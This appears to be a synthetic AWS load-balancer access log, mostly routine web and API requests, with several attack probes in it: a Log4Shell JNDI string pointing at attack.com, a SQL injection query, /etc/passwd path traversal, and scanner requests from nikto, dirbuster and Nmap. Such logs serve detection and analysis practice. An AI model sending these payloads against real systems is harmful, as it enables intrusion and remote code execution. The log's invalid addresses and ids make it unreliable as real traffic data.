arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d57a-b952e025d5cc4269b25d18b6" "prod-api-alb.example.com" "-" 4 2024-11-01T02:07:38.060507Z "forward" "-" "-" "10.0.136.135:443" "200" "-" "-" +https 2024-11-01T02:07:39.344168Z staging-alb 185.181.73.18:52454 187.80.113.113:80 0.094034 0.034017 0.093647 301 301 519 6917 "POST /config.php~ HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d57b-5c90d640c7534e11ba4e3c5c" "-" "-" 3 2024-11-01T02:07:39.344168Z "forward" "-" "-" "187.80.113.113:80" "301" "-" "-" +https 2024-11-01T02:07:39.637104Z prod-web-alb 100.141.160.183:47089 10.0.244.180:443 0.047393 0.060270 0.088298 302 302 889 11837 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d57b-8cbba1d951214961a51f3822" "prod-web-alb.example.com" "-" 8 2024-11-01T02:07:39.637104Z "forward" "-" "-" "10.0.244.180:443" "302" "-" "-" +http 2024-11-01T02:07:41.623083Z staging-alb 193.27.228.159:32601 245.165.192.34:8080 0.123398 0.041960 0.122591 301 301 118 14043 "GET /adminer.php HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d57d-e043e93e9d4649989ad61379" "-" "-" 8 2024-11-01T02:07:41.623083Z "forward" "-" "-" "245.165.192.34:8080" "301" "-" "-" +https 2024-11-01T02:07:43.432604Z prod-web-alb 146.226.224.168:52567 10.0.139.201:443 0.030481 0.338147 0.059397 404 404 924 4037 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d57f-64384fa54dbd459aba231589" "prod-web-alb.example.com" "-" 8 2024-11-01T02:07:43.432604Z "forward" "-" "-" "10.0.139.201:443" "404" "-" "-" +https 2024-11-01T02:07:45.170017Z prod-api-alb 21.201.23.72:55461 10.0.77.132:443 0.026671 0.126724 0.087754 200 200 449 3456 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d581-f5387f73c9894fd096f196df" "prod-api-alb.example.com" "-" 0 2024-11-01T02:07:45.170017Z "forward" "-" "-" "10.0.77.132:443" "200" "-" "-" +https 2024-11-01T02:07:46.541556Z prod-api-alb 210.143.5.47:58481 10.0.135.32:443 0.084008 0.273856 0.032430 302 302 842 2745 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d582-d6857320bada4e609d5ffa26" "prod-api-alb.example.com" "-" 10 2024-11-01T02:07:46.541556Z "forward" "-" "-" "10.0.135.32:443" "302" "-" "-" +https 2024-11-01T02:07:47.932625Z prod-api-alb 218.201.163.27:62643 10.0.254.18:443 0.072210 0.269758 0.073715 200 200 196 2438 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d583-f04757c2e3b840b087a0cd3a" "prod-api-alb.example.com" "-" 1 2024-11-01T02:07:47.932625Z "forward" "-" "-" "10.0.254.18:443" "200" "-" "-" +https 2024-11-01T02:07:48.224796Z prod-api-alb 157.200.253.179:33796 10.0.215.140:443 0.024319 0.198851 0.024250 200 200 983 6614 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d584-8fe463fcd6834f48a9f7364d" "prod-api-alb.example.com" "-" 9 2024-11-01T02:07:48.224796Z "forward" "-" "-" "10.0.215.140:443" "200" "-" "-" +https 2024-11-01T02:07:48.654687Z prod-api-alb 63.102.36.29:62505 10.0.78.115:443 0.082439 0.056456 0.005650 200 200 496 4863 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d584-9c6b7fec1cc942af8ca0f319" "prod-api-alb.example.com" "-" 9 2024-11-01T02:07:48.654687Z "forward" "-" "-" "10.0.78.115:443" "200" "-" "-" +https 2024-11-01T02:07:49.319710Z prod-api-alb 46.100.85.181:27258 10.0.166.47:443 0.022954 0.483470 0.042100 200 200 895 9944 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d585-ce93fdfb9c0b4f6b98bd9da4" "prod-api-alb.example.com" "-" 1 2024-11-01T02:07:49.319710Z "forward" "-" "-" "10.0.166.47:443" "200" "-" "-" +https 2024-11-01T02:07:51.276482Z prod-web-alb 239.133.83.226:20713 10.0.120.214:443 0.097981 0.475919 0.067377 200 200 517 11069 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d587-4c7466af633341fcadbf4ae6" "prod-web-alb.example.com" "-" 3 2024-11-01T02:07:51.276482Z "forward" "-" "-" "10.0.120.214:443" "200" "-" "-" +https 2024-11-01T02:07:52.455183Z prod-web-alb 209.228.215.109:47051 10.0.35.207:443 0.041185 0.255978 0.097594 302 302 827 13462 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d588-33c60b5e41054802b8c956eb" "prod-web-alb.example.com" "-" 7 2024-11-01T02:07:52.455183Z "forward" "-" "-" "10.0.35.207:443" "302" "-" "-" +http 2024-11-01T02:07:53.545114Z staging-alb 189.243.251.229:52596 52.86.26.88:443 0.109517 0.364279 0.012551 200 200 151 8808 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d589-7a6957d801c2490f865231f9" "staging-alb.example.com" "-" 3 2024-11-01T02:07:53.545114Z "forward" "-" "-" "52.86.26.88:443" "200" "-" "-" +http 2024-11-01T02:07:53.749149Z staging-alb 135.20.27.168:41968 175.251.80.118:80 0.048482 0.093881 0.065848 301 301 47 2631 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d589-046ba6f4084249419dabdacd" "staging-alb.example.com" "-" 9 2024-11-01T02:07:53.749149Z "forward" "-" "-" "175.251.80.118:80" "301" "-" "-" +https 2024-11-01T02:07:54.240204Z staging-alb 7.113.78.135:17969 173.157.55.53:8080 0.145035 0.403747 0.004420 200 200 656 9935 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d58a-59edbbd77cb14170b9be9d06" "staging-alb.example.com" "-" 10 2024-11-01T02:07:54.240204Z "forward" "-" "-" "173.157.55.53:8080" "200" "-" "-" +http 2024-11-01T02:07:54.558298Z staging-alb 213.254.15.255:13307 43.233.216.143:8080 0.009743 0.290946 0.112065 200 200 967 13479 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d58a-614ba15e7248453180e634c5" "staging-alb.example.com" "-" 1 2024-11-01T02:07:54.558298Z "forward" "-" "-" "43.233.216.143:8080" "200" "-" "-" +https 2024-11-01T02:07:54.670353Z prod-web-alb 8.50.106.219:30838 10.0.106.179:443 0.017410 0.417706 0.050973 200 200 962 11418 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d58a-aed3c25bb8b74cb1b68503f7" "prod-web-alb.example.com" "-" 2 2024-11-01T02:07:54.670353Z "forward" "-" "-" "10.0.106.179:443" "200" "-" "-" +https 2024-11-01T02:07:55.829949Z prod-web-alb 248.38.111.30:22096 10.0.41.242:443 0.059560 0.463128 0.057072 301 301 572 11246 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d58b-fd994f3b3c574cb191df6745" "prod-web-alb.example.com" "-" 9 2024-11-01T02:07:55.829949Z "forward" "-" "-" "10.0.41.242:443" "301" "-" "-" +https 2024-11-01T02:07:56.961689Z staging-alb 71.83.2.66:13002 100.86.175.250:80 0.041327 0.308528 0.042467 302 302 278 2929 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d58c-160044b14ee84cf099610ea2" "staging-alb.example.com" "-" 6 2024-11-01T02:07:56.961689Z "forward" "-" "-" "100.86.175.250:80" "302" "-" "-" +https 2024-11-01T02:07:57.738159Z staging-alb 197.184.111.101:15424 150.151.248.179:80 0.136922 0.527860 0.095305 200 200 642 7041 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d58d-822814bb34bb480e91a7fd4d" "staging-alb.example.com" "-" 4 2024-11-01T02:07:57.738159Z "forward" "-" "-" "150.151.248.179:80" "200" "-" "-" +https 2024-11-01T02:07:59.639538Z prod-api-alb 185.181.15.100:58619 10.0.28.145:443 0.095043 0.089552 0.020183 302 302 802 10716 "GET /config.php~ HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d58f-d795762173514030a9c3b361" "-" "-" 0 2024-11-01T02:07:59.639538Z "forward" "-" "-" "10.0.28.145:443" "302" "-" "-" +http 2024-11-01T02:08:00.294623Z staging-alb 194.11.234.56:11979 112.150.166.197:8080 0.028702 0.038764 0.115352 200 200 967 7740 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d590-e480f2c961e543d896a1d802" "staging-alb.example.com" "-" 3 2024-11-01T02:08:00.294623Z "forward" "-" "-" "112.150.166.197:8080" "200" "-" "-" +https 2024-11-01T02:08:00.586708Z prod-api-alb 221.199.160.160:26255 10.0.60.212:443 0.017761 0.481313 0.080906 301 301 596 4754 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d590-f5be2a32781e4811bf13a622" "prod-api-alb.example.com" "-" 5 2024-11-01T02:08:00.586708Z "forward" "-" "-" "10.0.60.212:443" "301" "-" "-" +https 2024-11-01T02:08:02.005312Z prod-api-alb 116.40.254.1:21780 10.0.139.168:443 0.093038 0.190997 0.076386 301 301 591 3316 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d592-a300d272896f47b8bc0a51b7" "prod-api-alb.example.com" "-" 9 2024-11-01T02:08:02.005312Z "forward" "-" "-" "10.0.139.168:443" "301" "-" "-" +https 2024-11-01T02:08:02.705881Z staging-alb 69.115.154.164:41446 225.65.119.194:8080 0.095639 0.296955 0.071579 200 200 795 2796 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d592-0dd39d262f63461f9fa62935" "staging-alb.example.com" "-" 0 2024-11-01T02:08:02.705881Z "forward" "-" "-" "225.65.119.194:8080" "200" "-" "-" +https 2024-11-01T02:08:04.440877Z prod-api-alb 225.223.137.57:62787 10.0.253.10:443 0.020665 0.315107 0.026018 200 200 584 5657 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d594-865f71efe7ab49aca93b9a64" "prod-api-alb.example.com" "-" 10 2024-11-01T02:08:04.440877Z "forward" "-" "-" "10.0.253.10:443" "200" "-" "-" +https 2024-11-01T02:08:05.281522Z prod-api-alb 251.117.89.134:47176 10.0.184.54:443 0.064044 0.392051 0.060914 301 301 608 14124 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d595-553e54d55fac4dfc9f307f01" "prod-api-alb.example.com" "-" 4 2024-11-01T02:08:05.281522Z "forward" "-" "-" "10.0.184.54:443" "301" "-" "-" +http 2024-11-01T02:08:06.429744Z staging-alb 168.248.28.186:38425 1.96.157.91:80 0.072168 0.405223 0.149859 302 302 92 6671 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d596-ec2aacc44452426cbd75957a" "staging-alb.example.com" "-" 7 2024-11-01T02:08:06.429744Z "forward" "-" "-" "1.96.157.91:80" "302" "-" "-" +https 2024-11-01T02:08:08.317127Z prod-web-alb 222.203.161.93:23386 10.0.231.218:443 0.047059 0.049701 0.033543 200 200 309 11664 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d598-269f74d841ee4a369038c4bd" "prod-web-alb.example.com" "-" 1 2024-11-01T02:08:08.317127Z "forward" "-" "-" "10.0.231.218:443" "200" "-" "-" +https 2024-11-01T02:08:08.766885Z prod-web-alb 195.64.57.216:61968 10.0.95.56:443 0.025903 0.213283 0.037355 200 200 288 5109 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d598-127d4c475b5443679e1979e5" "prod-web-alb.example.com" "-" 8 2024-11-01T02:08:08.766885Z "forward" "-" "-" "10.0.95.56:443" "200" "-" "-" +https 2024-11-01T02:08:10.073861Z prod-api-alb 37.115.226.229:45944 10.0.147.19:443 0.028523 0.136711 0.040366 404 404 135 1119 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d59a-e3b4ae77fadb46cf8121413b" "prod-api-alb.example.com" "-" 4 2024-11-01T02:08:10.073861Z "forward" "-" "-" "10.0.147.19:443" "404" "-" "-" +https 2024-11-01T02:08:10.410474Z staging-alb 58.162.12.253:29919 226.68.26.13:8080 0.073813 0.030491 0.040057 302 302 37 14948 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d59a-7064bcbf36a84deba2bb4f9a" "staging-alb.example.com" "-" 3 2024-11-01T02:08:10.410474Z "forward" "-" "-" "226.68.26.13:8080" "302" "-" "-" +https 2024-11-01T02:08:11.288865Z prod-web-alb 229.248.165.233:16095 10.0.64.43:443 0.003223 0.117884 0.063184 200 200 964 3549 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d59b-65bbc4e2b45a43baba4239df" "prod-web-alb.example.com" "-" 6 2024-11-01T02:08:11.288865Z "forward" "-" "-" "10.0.64.43:443" "200" "-" "-" +https 2024-11-01T02:08:12.963537Z staging-alb 45.155.205.35:42363 245.230.234.125:443 0.129738 0.624764 0.018718 404 404 689 10666 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d59c-dbf80d47960a410c8b35fbc0" "-" "-" 9 2024-11-01T02:08:12.963537Z "forward" "-" "-" "245.230.234.125:443" "404" "-" "-" +https 2024-11-01T02:08:14.668063Z prod-web-alb 83.34.52.225:10578 10.0.129.227:443 0.058613 0.251218 0.069003 200 200 838 12502 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d59e-489643612798400fa2514916" "prod-web-alb.example.com" "-" 8 2024-11-01T02:08:14.668063Z "forward" "-" "-" "10.0.129.227:443" "200" "-" "-" +https 2024-11-01T02:08:16.070146Z prod-web-alb 185.181.230.236:33345 10.0.5.28:443 0.043430 0.479218 0.028011 403 403 456 7110 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5a0-b7afe13ec8e645e5b4e9ccbf" "-" "-" 4 2024-11-01T02:08:16.070146Z "forward" "-" "-" "10.0.5.28:443" "403" "-" "-" +https 2024-11-01T02:08:17.861422Z staging-alb 193.27.228.155:31338 29.83.128.59:8080 0.051523 0.029143 0.108084 500 500 459 1812 "GET /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5a1-b9f6cbf69a004afca3dea57a" "-" "-" 8 2024-11-01T02:08:17.861422Z "forward" "-" "-" "29.83.128.59:8080" "500" "-" "-" +https 2024-11-01T02:08:18.099332Z prod-api-alb 55.22.90.190:51668 10.0.239.251:443 0.077205 0.249952 0.020748 301 301 441 14245 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5a2-a1ca4f8c53b348998db649ea" "prod-api-alb.example.com" "-" 7 2024-11-01T02:08:18.099332Z "forward" "-" "-" "10.0.239.251:443" "301" "-" "-" +http 2024-11-01T02:08:19.791101Z staging-alb 124.174.149.193:60858 12.232.141.84:80 0.001050 0.388032 0.050467 200 200 171 6075 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5a3-4330d046900045f6ae2d11af" "staging-alb.example.com" "-" 9 2024-11-01T02:08:19.791101Z "forward" "-" "-" "12.232.141.84:80" "200" "-" "-" +http 2024-11-01T02:08:20.816205Z staging-alb 61.238.119.101:24232 185.251.248.100:8080 0.037024 0.227092 0.076733 301 301 821 14436 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5a4-6a19ccc8787643c1970476ca" "staging-alb.example.com" "-" 3 2024-11-01T02:08:20.816205Z "forward" "-" "-" "185.251.248.100:8080" "301" "-" "-" +https 2024-11-01T02:08:21.142220Z prod-api-alb 59.134.39.55:34713 10.0.214.155:443 0.099758 0.444165 0.095309 200 200 19 5954 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5a5-fec44bfb73804005ae2e6f41" "prod-api-alb.example.com" "-" 8 2024-11-01T02:08:21.142220Z "forward" "-" "-" "10.0.214.155:443" "200" "-" "-" +https 2024-11-01T02:08:23.094940Z prod-web-alb 25.169.196.211:48296 10.0.143.186:443 0.044070 0.376936 0.016381 200 200 185 9816 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5a7-55f262d3742c4df781c54c33" "prod-web-alb.example.com" "-" 4 2024-11-01T02:08:23.094940Z "forward" "-" "-" "10.0.143.186:443" "200" "-" "-" +https 2024-11-01T02:08:24.698414Z prod-api-alb 90.78.2.99:15751 10.0.146.225:443 0.082319 0.467548 0.044608 200 200 934 14579 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5a8-282ba5706f3a4e00b4ced850" "prod-api-alb.example.com" "-" 7 2024-11-01T02:08:24.698414Z "forward" "-" "-" "10.0.146.225:443" "200" "-" "-" +http 2024-11-01T02:08:25.374134Z staging-alb 185.181.162.113:27764 14.168.3.58:8080 0.092509 0.119020 0.003598 404 404 807 459 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5a9-9c94df46bb0b4683948c6f89" "-" "-" 2 2024-11-01T02:08:25.374134Z "forward" "-" "-" "14.168.3.58:8080" "404" "-" "-" +http 2024-11-01T02:08:26.171947Z staging-alb 57.56.35.182:63713 117.229.46.203:443 0.134796 0.435843 0.054853 302 302 350 14066 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5aa-cab09e48ba694843bcfe0c15" "staging-alb.example.com" "-" 0 2024-11-01T02:08:26.171947Z "forward" "-" "-" "117.229.46.203:443" "302" "-" "-" +https 2024-11-01T02:08:27.875301Z staging-alb 227.239.92.82:40098 202.218.121.124:443 0.080024 0.183272 0.121447 200 200 616 5346 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5ab-25ced2271a084875a4a998cc" "staging-alb.example.com" "-" 3 2024-11-01T02:08:27.875301Z "forward" "-" "-" "202.218.121.124:443" "200" "-" "-" +http 2024-11-01T02:08:29.794811Z staging-alb 29.95.146.27:45928 0.29.46.103:80 0.140773 0.392704 0.113426 200 200 636 13482 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5ad-c5b17a14bf9e41239de7c607" "staging-alb.example.com" "-" 10 2024-11-01T02:08:29.794811Z "forward" "-" "-" "0.29.46.103:80" "200" "-" "-" +https 2024-11-01T02:08:30.916193Z staging-alb 45.53.243.235:12652 121.98.219.34:80 0.134790 0.507252 0.064958 200 200 814 8577 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5ae-fcfd1f26ebd644e7918f36db" "staging-alb.example.com" "-" 9 2024-11-01T02:08:30.916193Z "forward" "-" "-" "121.98.219.34:80" 